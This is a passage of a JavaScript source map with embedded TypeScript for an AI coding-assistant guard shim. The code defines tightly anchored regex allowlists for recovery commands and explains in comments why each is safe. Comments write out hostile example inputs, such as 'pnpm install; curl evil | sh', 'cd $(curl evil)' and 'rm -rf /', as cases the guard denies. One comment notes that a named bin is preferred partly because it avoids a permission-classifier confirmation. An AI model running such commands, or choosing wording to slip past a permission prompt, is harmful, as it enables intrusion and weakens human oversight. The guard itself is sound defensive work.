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","sourcesContent":["import { CONFIG_FILENAME, PRUNE_UNKNOWN_COMMAND } from '@webpieces/rules-config';\n\n// The shape of ONE entry, in its own module so the LIST below is not crowded out by the types that\n// describe it. `./shim` stars both, so consumers see no seam.\nimport { EVERY_HARNESS, L0AllowEntry, L0Call } from './l0-entry';\n// The harness-GATED half of L0, in its own module for the same size reason this one was split out of\n// ./shim. It owns the read-shaped vocabulary AND the union built from it; this file owns the entry\n// that puts it on the list, so the dependency runs one way and there is no cycle.\nimport { CODEX_READ_BODY_ERE, CODEX_READ_BODY_JS, CODEX_READ_CMD } from './l0-codex-read';\nimport { READ_COMMANDS } from '../core/shell-read-parity';\n\n// The tool-shaped half of the same list, in its own module so BOTH L0 halves can read it without\n// importing each other. NOT re-exported from here — `./shim` is the ONE name that gathers L0 (it stars\n// all three modules), and a second path to the same constant is a second spelling.\nimport { L0_IGNORED_TOOLS } from './l0-ignored-tools';\n\n// The two MANIFESTS a version pin lives in, named once so the allowlist, isAllowed(), the rendered shim\n// and the runner cannot drift into four spellings. See isRootManifest: a tree ROOT's copy of these only.\nexport const WORKSPACE_MANIFEST = 'pnpm-workspace.yaml';\nexport const PACKAGE_MANIFEST = 'package.json';\nexport const MANIFEST_FILENAMES: ReadonlySet<string> = new Set([WORKSPACE_MANIFEST, PACKAGE_MANIFEST]);\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — the vocabulary (the named cure patterns, each an ERE+JS twin pair), the ONE union\n// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.\n//\n// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts\n// re-exports everything here, so every existing import keeps working, and this module stays as\n// dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.\n// ---------------------------------------------------------------------------\n// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.\n// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a\n// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit\n// log proves it: `.webpieces/logs/L0-shim/<writer>.log` has `pnpm install 2>&1 | tail -15` logged as\n// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied\n// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as\n// \"the guard blocks its own fix\", which is exactly the conclusion it drew before handing the fix back\n// to the human.\n//\n// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`\n// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install\n// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at\n// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,\n// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and\n// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the\n// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.\n//\n// The harness RESETS a cwd that left the workspace — a standalone `cd <worktree>` followed by `pwd` in\n// the next call reports the primary clone again, and the harness prints `Shell cwd was reset to <root>`\n// when it happens. So an agent working in a linked worktree can only reach that tree with a\n// self-contained `cd <worktree> && …`. (A `cd` that STAYS inside the workspace persists instead, so\n// \"cd never persists\" — which this comment used to assert — is the worktree case over-generalized.)\n// The drift guard demanded a BARE `pnpm install`\n// (\"do NOT put a cd in front of it\") while the install was needed in the worktree — the cure was\n// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.\n//\n// A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety\n// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts\n// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So\n// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and\n// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.\n//\n// SPACES IN THE REPO PATH (2026-08-02). The bare token above admits no whitespace, so on a machine\n// whose checkout lives under `/Users/dean hiller/…`, \"Google Drive\", \"My Documents\" or an iCloud path,\n// the `cd` prefix was UNREACHABLE — every L0 escape hatch was untypable from a linked worktree, which\n// is the exact deadlock class the prefix was added to prevent. And `atRoot()` emitted the remedy\n// unquoted, so what the guard PRESCRIBED was already broken shell before any allowlist saw it.\n//\n// The cure is a SINGLE-QUOTED alternative, `'[^']+'`, and the single quotes ARE the security argument:\n// inside single quotes sh performs NO expansion whatsoever — `$(…)`, backticks, `$VAR`, `&&`, `;`, `|`\n// are all literal characters of the path — and the ONLY character that can end the quoted region is the\n// one the character class excludes. So the pattern is un-smuggleable BY CONSTRUCTION, with no cleverness\n// required: `cd '/Users/dean hiller/repo' && pnpm install` passes, and `cd '$(curl evil)' && pnpm\n// install` matches but is INERT (sh cds to a directory literally named `$(curl evil)`, which does not\n// exist, and `&&` short-circuits — nothing is fetched and nothing is executed).\n//\n// DOUBLE quotes are deliberately NOT accepted: `$` and backticks still expand inside them, so\n// `cd \"$(curl evil)\" && pnpm install` would be a real command substitution. It stays DENIED, as does\n// `cd \"/Users/dean hiller/repo\" && pnpm install` — the quote character itself is outside both branches.\n// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).\nexport const CD_PREFIX_ERE = \"(cd[[:space:]]+([A-Za-z0-9._/@~+-]+|'[^']+')[[:space:]]*&&[[:space:]]*)?\";\n\n// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CD_PREFIX_JS_SRC = \"(cd\\\\s+([A-Za-z0-9._\\\\/@~+-]+|'[^']+')\\\\s*&&\\\\s*)?\";\n\n// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each\n// pattern's old bare `^`, so the anchoring at both ends is unchanged.\nconst CD_PREFIX_ERE_ANCHORED = '^' + CD_PREFIX_ERE;\nconst CD_PREFIX_JS_ANCHORED = '^' + CD_PREFIX_JS_SRC;\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a\n// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:\n// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT\n// tree, and the harness resets a cwd that left the workspace, so `cd <worktree> && pnpm install` is the only\n// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was\n// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits\n// no operator (see CD_PREFIX_ERE).\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nconst INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nconst INSTALLER_BODY_JS = '(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nconst RECOVERY_BODY_ERE =\n 'rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst RECOVERY_BODY_JS =\n 'rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// `git fetch`. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so it is allowed under EVERY\n// L0 fault, not just drift. It used to be gated on drift alone, on the reasoning that no amount of\n// git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also\n// cannot hurt, and the gating had a real cost — under a stale committed shim, a git sync is the ONLY\n// cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.\n//\n// `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift\n// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —\n// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.\n// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that\n// hole would widen from one fault to every fault, so the entry goes rather than the gating.\n//\n// The deadlock this entry exists for, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is a git sync — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// `pull` WAS THEN REMOVED FROM THIS ENTRY (2026-08-10, audit finding C6) — which is why it is now named\n// for the fetch subcommand alone. The entry was `(pull|fetch)` and marked TERMINAL ('allow'), so it\n// short-circuited every downstream guard. redirect-how-to-merge-main exists to block exactly one thing:\n// `git pull origin main` on a FEATURE branch, because a raw pull there merges main INTO the branch and\n// destroys the fork point that the 3-point merge, `nx affected --base=` and the PR review diff are all\n// computed from. Under an L0 fault the drift message TOLD the agent to run `git pull origin main` and\n// this entry PERMITTED it, on whatever branch it happened to be standing on. The damage is silent: it\n// surfaces later as a build gate that rebuilt the wrong scope and a PR diff describing work nobody did.\n//\n// The fetch subcommand cannot merge anything, so it can never poison a fork point, and it stays terminal\n// here. `git pull` now falls THROUGH to redirect-how-to-merge-main, which allows it on main and blocks\n// it on a feature branch — the correct matrix, and the one that guard was written to enforce. A BARE\n// `git pull` (syncing a shared feature branch with origin/<same-branch>) is not blocked by that guard\n// either; it simply is no longer waved past every OTHER guard on the way. The on-main cure keeps a\n// terminal spelling of its own — CHECKOUT_MAIN_PULL_BODY_ERE below.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// A trailing `; curl evil | sh` still FAILS CLOSED. Deliberately NOT a general `git checkout`: switching\n// branches is what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with FETCH_ALLOW_JS below (locked by a unit test).\n// webpieces-disable no-fetch -- a POSIX ERE matching the git subcommand of that name, not an HTTP call\nconst FETCH_BODY_ERE = 'git[[:space:]]+fetch([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const FETCH_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + FETCH_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of FETCH_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\n// webpieces-disable no-fetch -- the JS twin of the ERE above; still the git subcommand, not an HTTP call\nconst FETCH_BODY_JS = 'git\\\\s+fetch(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const FETCH_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + FETCH_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// THE ONE PULL SPELLING THAT IS ALWAYS FORK-POINT-SAFE — the other half of the C6 fix above.\n//\n// `git checkout main && git pull origin main` ends on MAIN. The feature branch is not checked out, not\n// merged into, not touched at all: there is no fork point to destroy, on any branch, ever. That is what\n// earns it a terminal entry on a list where a bare `git pull origin main` no longer has one. When the\n// agent is ALREADY on main the checkout is a harmless no-op, so this one literal covers the on-main case\n// too and needs no second entry.\n//\n// ─── WHY L0 KEEPS THE RAW GIT WHILE THE WORKFLOW LAYER MOVED TO `pnpm wp-checkout-clean-main` ─────────\n// `wp-checkout-clean-main` is this exact pairing with `wp-cleanup` and the orphan-directory sweep welded\n// on, and the WORKFLOW guards (stale-main-bash-guard's preferred cure, merged-branch-message,\n// TreeRecovery, the L2 rows) now prescribe it instead of these two git commands — one intention, one\n// spelling, and the sweep actually runs.\n//\n// THIS ENTRY DELIBERATELY DOES NOT FOLLOW THEM, and that is not the two-spellings shim it looks like.\n// The fault L0 is curing is `node_modules` disagreeing with the pin — which means `node_modules` is\n// PRECISELY the thing that cannot be trusted. A `pnpm wp-*` bin resolves through it, so the one class of\n// cure that may not appear on an L0 allowlist is a cure that has to load the package it is repairing.\n// Raw git needs nothing but git. Replacing this literal with the `pnpm` spelling would delete the only\n// working escape from a deadlock, in the one state where every other tool call is already denied.\n//\n// The two layers are therefore not two spellings of one thing; they are two different things that\n// happen to share a prefix. Read the L0 one as \"get main, with no working package manager\".\n//\n// A NARROW LITERAL, deliberately. The rationale above — `git checkout` is what CAUSES this drift, and a\n// fail-closed hatch should only contain cures — is intact: `main` is hard-coded, no flags are accepted,\n// and there is NO general `git checkout <branch> &&` prefix. `git checkout feat && git pull origin main`,\n// the exact command redirect-how-to-merge-main blocks, stays REFUSED here; so do `git checkout main`\n// alone (it cures nothing) and anything chained onto either end.\n// Keep in sync with CHECKOUT_MAIN_PULL_BODY_JS below (locked by a unit test).\nconst CHECKOUT_MAIN_PULL_BODY_ERE =\n 'git[[:space:]]+checkout[[:space:]]+main[[:space:]]*&&[[:space:]]*git[[:space:]]+pull[[:space:]]+origin[[:space:]]+main';\n\n// JS-regex twin of CHECKOUT_MAIN_PULL_BODY_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst CHECKOUT_MAIN_PULL_BODY_JS =\n 'git\\\\s+checkout\\\\s+main\\\\s*&&\\\\s*git\\\\s+pull\\\\s+origin\\\\s+main';\n\nexport const CHECKOUT_MAIN_PULL_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + CHECKOUT_MAIN_PULL_BODY_ERE + CAPTURE_TAIL_ERE;\nexport const CHECKOUT_MAIN_PULL_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + CHECKOUT_MAIN_PULL_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n/**\n * The exact bytes every L0 message prescribing the on-main sync must print.\n *\n * L0 ONLY. The workflow guards prescribe `pnpm wp-checkout-clean-main`; this constant is for the faults\n * where `node_modules` is the thing under suspicion and no `pnpm` bin can be relied on to run. See the\n * block comment above CHECKOUT_MAIN_PULL_BODY_ERE for the full argument, and do not \"unify\" the two.\n */\nexport const CHECKOUT_MAIN_PULL_CMD = 'git checkout main && git pull origin main';\n\n// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale\n// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —\n// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the\n// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nconst UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst UPGRADE_SHIM_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The CURE for a webpieces.config.json carrying keys no validator has a schema for: delete them.\n//\n// IT HAS TO BE ON THIS LIST OR IT IS NOT A CURE AT ALL. An invalid config denies every Bash call, which\n// is precisely the state the unknown-rule error and the validation banner are read in — so a cure those\n// messages name, but the guard rejects, is worse than naming nothing: it sends the reader in a circle.\n// That is the same reasoning that put the installer and wp-upgrade-shim here, and it is why the entry\n// ships in the SAME change as the messages that prescribe it.\n//\n// Safe as a cure by construction: the pruner only ever DELETES keys the running validator has no schema\n// for, refuses renames and in-file moves, and does nothing at all when a rulesDir is configured. Accepts\n// the realistic pnpm/npm/npx spellings, anchored at both ends with only a bare bin name so no shell\n// operator can ride along. Keep in sync with PRUNE_CONFIG_BODY_JS (locked by the twin unit test).\nconst PRUNE_CONFIG_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-prune-unknown-config';\n\n// JS-regex twin of PRUNE_CONFIG_BODY_ERE (POSIX `[[:space:]]` → `\\s`).\nconst PRUNE_CONFIG_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-prune-unknown-config';\n\n// The entry below spells the command as PRUNE_UNKNOWN_COMMAND, IMPORTED rather than re-typed: that\n// constant is the single spelling, and a second literal here is exactly the drift that would let a\n// message prescribe a command this allowlist does not match.\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit\n// test), which is exactly what the binary's committedShimStale() compares the committed shim against;\n// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.\n// It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nconst RESTORE_SHIM_BODY_ERE =\n 'cp[[:space:]]+(\\\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst RESTORE_SHIM_BODY_JS =\n 'cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/ai-hook-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.\n//\n// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the\n// shim's own header line names it as the managing command), and install-entry.ts calls healShim()\n// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it\n// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and\n// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.\n// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny\n// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier\n// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.\n//\n// FLAGS ARE ACCEPTED. The installer's non-interactive spelling is `--target=project`, and a pattern that\n// accepted no flags at all made it 